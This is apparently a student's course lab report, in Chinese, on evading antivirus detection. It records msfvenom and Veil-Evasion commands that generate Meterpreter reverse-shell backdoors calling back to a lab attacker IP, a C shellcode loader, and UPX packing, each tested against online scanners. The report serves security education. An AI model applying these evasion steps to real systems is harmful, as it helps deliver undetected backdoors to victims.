20155308 《网络攻防》 Exp3 免杀原理与实践
基础问题回答
- 杀软是如何检测出恶意代码的?
- 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
- 免杀是做什么?
- 能使病毒木马避免被杀毒软件查杀的技术。
- 免杀的基本方法有哪些?
- 特征码定位、加壳、加花、再编译等等。但是这些方法在生活中都没有怎么使用过,所以希望通过这一次的实验能够进行了解。
实践过程记录
使用msf生成后门程序的检测
- 直接将上周做实验时用msf生成的后门文件放在virscan.org中进行扫描,扫描结果如下:
之前我命名的后面文件名称为"20155308_backdoor.exe",会产生以下提示:
- 所以我将文件名称中的学号删除,再进行扫描,结果如下:
- 可以看出,报毒率挺高。如果在使用msf时对它多编码几次,观察报毒率的变化。(进行编码十次)
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe
将生成的文件放到网站上扫描一下:
可以发现无论编码多少次都是一样,所以想要利用编码次数来达到免杀效果显然是不行的。
使用veil-evasion生成后门程序的检测
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。
- 安装Veil-Evasion
- 这一部分因为下载速度太慢了,所以用了老师的虚拟机。
- 安装之后,首先要启用veil,输入命令:“veil”。这部分我在进入的时候提示如下,所以我需要输入“veil-evasion”进入。
- 输入命令
use python/meterpreter/rev_tcp
设置payload。
- 输入命令
set LHOST 192.168.91.128
设置反弹连接IP(此IP为kali机的IP地址),输入命令set LPORT 5308设置反弹端口5308
。
- 输入命令
generate
生成程序,并输入后门程序名称“hwf5308”
- 该生成的文件
hwf5308.exe
,路径为/var/lib/veil-evasion/output/compiled
- 最终用virscan工具查下试试,有没有起到免杀的效果,结果如下
- 比之前用msf生成的文件报毒率要更低
利用shellcode编写后门程序的检测
- 使用msf生成一个C语言格式的shellcode,即输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.130 LPORT=5308 -f c
(其中,LHOST输入kali机的地址,LPORT输入自己的学号)后进行编译。
- 创建一个文件
20155308.c
,然后将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
......
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:i686-w64-mingw32-g++ 20155308.c -o 20155308.exe编译这个.c文件为可执行文件:
- 在扫描软件上看看,因为系统提示不能出现数字,则我将文件名称改为“hwf.exe”。
- 结果如下
- 发现有点作用。
加壳
压缩壳UPX
# upx met_raw.exe -o met_raw.upxed.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
101678 -> 56110 55.18% win32/pe met.upxed.exe
Packed 1 file.
#
- 该指令加壳的命令格式:
upx #需要加壳的文件名 -o #加壳后的文件名
此处为了方便实验,我将之前改名为“hwf.exe”文件改为“5308.exe”。
- 进行扫描看看结果
- 将后门拷至主机后通过免杀
实验体会
本次实验是了解恶意软件检测机制,通过这方面的漏洞进行文件的更改和后门的处理,用扫描软件进行扫描,以此来观察各种处理优缺点。通过实际的动手操作,验我们也可以发现要想制作出免杀的病毒其实也并不难,但是最关键的还是在于我们要提高自己的安全意识。通过对后门文件各种方式的隐藏的学习,我们应该反过来进行配置防火墙,监控端口等一些行为来保障我们计算机的安全。
离实战还缺些什么技术或步骤
- 首先,我们现在做实验的时候经常使用一些简单的命令使后门程序植入靶机,但是实战中肯定不会这么简单。
- 其次,我们现在的科技在不断发展,正如老师实验指导中所说,现在的一些杀软的公司,时刻盯着那些新的后面手段,所以我们得需要将技术成长到高于这些“老谋深算”的AV。